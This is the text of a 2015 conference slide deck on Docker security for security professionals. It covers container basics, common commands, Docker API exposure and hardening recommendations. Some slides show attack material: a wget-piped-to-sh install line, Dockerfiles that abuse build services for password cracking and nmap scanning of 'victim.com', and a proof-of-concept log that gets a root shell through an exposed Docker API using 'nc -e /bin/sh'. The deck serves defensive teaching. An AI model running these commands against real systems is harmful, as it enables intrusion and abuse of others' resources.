Demistifying Container Hype

Docker for security professionals

Vlatko Kosturjak (@k0st), FSEC, Varaždin, 15th of September

Agenda

  • Introduction
  • Application containers and Docker
  • How to use them
  • Docker API
  • Docker security
  • Recommendations
  • Summary
  • Questions and answers

30 minutes

About me

  • Security Consultant in Diverto
  • Open source (security) developer
  • Securing DevOps
    • Helping clients in DevOps security

Application Containers

  • "Virtualization" on application level
  • Same kernel
    • Several application
  • Advantages
    • Better resource utilization
    • Isolation

Docker Hosting

Docker

  • "chroot on steroids"
  • application containers
  • layer "above LXC" (actually libcontainer)
    • same kernel
    • Control Groups (cgroups) and namespaces
    • own network stack and process space
  • Written mostly in Go
  • References

Docker basic

  • containers
    • instances of images
    • you can have multiple containers with same or different image
    • Analogies
      • programmer: think of object
      • Amazon: similar to EC2 (EC2 vs AMI)
  • images
    • images are basis for creating containers
    • Analogies
      • programmer: think of classes
      • Same as AMIs in Amazon context
    • can have multiple tags

Common docker commands

Command Description
docker ps list running containers
docker ps -as list ALL containers with size
docker images list local images
docker search [term] search remote central repo for image
docker run [imagename] creates container from [imagename]
docker start [cont] starts already created container
docker stop [cont] stops started container

Two ways building

  • Dockerfile
FROM debian:latest
RUN apt-get update && apt-get install mysql-server
  • Manual with commands
    docker commit
docker diffs

    Common problem

    • If you have to use something like this
    FROM debian:latest
RUN wget http://some.really.cool.app/install.sh -O - | sh
  • Try to use https instead
    FROM debian:latest
RUN wget https://some.really.cool.app/install.sh -O - | sh
    Docker building abuse
      • Limits
        • 2 hours
        • 2 GB RAM
        • 1 CPU
        • 30 GB disk space
      • How you will define this?
        • Free Computing Resources

    Docker building abuse

    • Cracking passwords
    FROM debian:latest
RUN apt-get update && apt-get install john
RUN wget http://rawpastebin.com/bXXXXXX -O /tmp/passwords
RUN john /tmp/passwords
  • Scanning:)
    FROM debian:latest
RUN apt-get update && apt-get install nmap 
RUN nmap -sT -V -O -p- victim.com

    Docker security

    • Comes with reasonable security settings
      • container with reduced number of capabilities
      • docker control socket/API only on UNIX socket
      • grsec/PAX compatible
      • SELinux/Apparmor compatible
    • Example
      • You need service to listen on port below 1024
      • just give net_bind_service capabilities

    Docker user namespaces

    Docker API

    • Docker control is done through
      • UNIX socket (by default)
      • TCP server
      • HTTP server (REST API)
    • Expose it and you're owned
      • GUI frontends and parameter tampering
      • Not just containers, but host as well
      • docker_get_host_shell.rb PoC
    • References

    docker_get_host_shell.rb Example

    $ ./docker_get_host_shell.rb -p 31337
W, [2015-09-12T03:15:50.224295 #11995]  WARN -- : Container IP address: 172.17.0.97
W, [2015-09-12T03:15:50.224832 #11995]  WARN -- : Executing shell: nc -e /bin/sh -lvp 31337
    $ nc -vv 172.17.0.97 31337
(UNKNOWN) [172.17.0.97] 31337 (?) open
id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys)

    docker_get_host_shell.rb

    id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys)
docker version
Client:
 Version:      1.8.1
 API version:  1.20
 Go version:   go1.4.2
 Git commit:   d12ea79
 Built:        Thu Aug 13 02:28:37 UTC 2015
 OS/Arch:      linux/amd64

Server:
 Version:      1.8.1
 API version:  1.20
 Go version:   go1.4.2
 Git commit:   d12ea79
 Built:        Thu Aug 13 02:28:37 UTC 2015
 OS/Arch:      linux/amd64

    Docker API Recommendations

    • Do not expose Docker API over network
    • If you still have to
      • Use VPN
      • Use TLS certificates
    • In short

    Docker recommendations

    • General
      • same security profile/level on same docker host
      • take a look at CIS Docker benchmarks
      • define limits
    • Networking
      • icc=false
      • net=host can reboot your host
      • Expose only needed ports in Dockerfile

    Docker Images recommendations

    • General
      • Base your images on trusted images
      • USER directive is your friend
    • Smaller image is smaller exposure
      • Don't install packages you might need
      • Don't build with SSH daemon
      • Don't build all images from ubuntu images

    Alpine Linux and Docker

    Docker example

    Summary

    • Application containers will not vanish
      • Growing business
      • Growing technology
    • You have two paths
      • Hate and rant
      • Help and make it secure

    Thanks on listening

    ?

    Any questions?

    @k0st

    Demistifying Container Hype

    By k0st

    Made with Slides.com

    Demistifying Container Hype

    Docker for security professionals

    • 1,633

    More from k0st